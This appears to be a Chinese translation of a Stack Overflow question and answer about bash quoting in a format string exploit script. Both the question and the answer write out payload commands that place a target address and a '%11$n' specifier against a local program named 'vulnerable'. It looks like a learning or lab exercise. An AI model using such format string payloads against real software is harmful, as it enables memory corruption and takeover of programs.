Bash - perl print statement

时间:2015-12-14 11:23:39

标签: bash perl memory-address exploit

我正在为易受攻击的程序编写格式字符串漏洞利用脚本。

我可以通过以下输入执行程序来利用此漏洞:

./vulnerable `perl -e 'print "\x11\x11\x11\x40\x99\x04\x08"'`'AAAAx%11$n'

此处\x40\x99\x04\x08vulnerable中变量的地址。

我想编写一个脚本,在没有硬编码地址的情况下生成此输入。 在我的脚本中,我检索变量的地址并将其存储在address.txt中。 然后我尝试像以前一样从我的脚本中调用vulnerable,但内容为address.txt

./vulnerable $(perl -e 'print "\x11\x11\x11$(<address.txt)"')'AAAAx%11$n’

address.txt的内容为\x40\x99\x04\x08,因此我将address.txt的内容提供给perl print语句的方式有问题。

我也试过忽略$()周围的perl

./vulnerable `perl -e 'print "\x11\x11\x11$(<address.txt)"'`'AAAAx%11$n'

但这会产生相同的结果。

我做错了什么?

1 个答案:

答案 0 :(得分:1)

单引号不会展开$(...)

./vulnerable $(perl -e 'print "\x11\x11\x11'$(<address.txt)'"')'AAAAx%11$n'
#                                           <------------->
#                      <------------------->               <->
#            <------------------------------------------------><---------->